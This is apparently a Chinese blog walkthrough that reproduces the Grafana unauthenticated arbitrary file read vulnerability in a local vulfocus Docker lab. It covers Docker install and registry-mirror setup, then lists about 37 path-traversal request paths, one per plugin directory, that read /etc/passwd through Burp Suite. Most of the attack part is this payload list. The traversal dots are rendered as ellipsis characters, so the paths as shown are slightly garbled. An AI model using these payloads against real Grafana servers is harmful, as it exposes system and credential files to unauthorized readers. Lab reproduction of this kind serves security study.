Grafana 未授权任意文件读取 0day 漏洞复现

首先：安装DOCKER DESKTOP网上自行搜教程。太简单了
然后Docker拉取镜像：
docker pull vulfocus/grafana-read_arbitrary_file:latest 拉取本地环境运行
Docker拉取镜像时可能会出现Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: TLS handshake timeout问题
在c盘下，C:\ProgramData\Docker\config\daemon.json”中找到配置文件。 如果daemon.json该文件不存在，可以创建daemon.json添加如下内容
{
“registry-mirrors”: [“https://bytkgxyr.mirror.aliyuncs.com”,“https://registry.docker-cn.com”,“http://hub-mirror.c.163.com”]
}

完成后执行命令
docker run --name grafana -it vulfocus/grafana-read_arbitrary_file:latest /bin/bash
然后点击浏览器打开

显示如下：

最后通过burpsuite来进行漏洞利用。
/public/plugins/alertGroups/…/…/…/…/…/…/…/…/etc/passwd

当然也Grafana 可能存在其他插件目录：
/public/plugins/alertGroups/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/alertlist/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/alertmanager/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/annolist/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/barchart/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/bargauge/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/canvas/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/cloudwatch/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/dashboard/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/dashlist/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/debug/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/elasticsearch/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/gauge/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/geomap/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/gettingstarted/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/grafana-azure-monitor-datasource/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/grafana/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/graph/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/graphite/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/heatmap/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/histogram/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/influxdb/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/jaeger/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/live/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/logs/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/loki/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/mixed/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/mssql/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/mysql/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/news/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/nodeGraph/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/opentsdb/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/piechart/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/pluginlist/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/postgres/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/prometheus/…/…/…/…/…/…/…/…/etc/passwd
/public/plugins/stat/…/…/…/…/…/…/…/…/etc/passwd

参考：https://nosec.org/home/detail/4914.html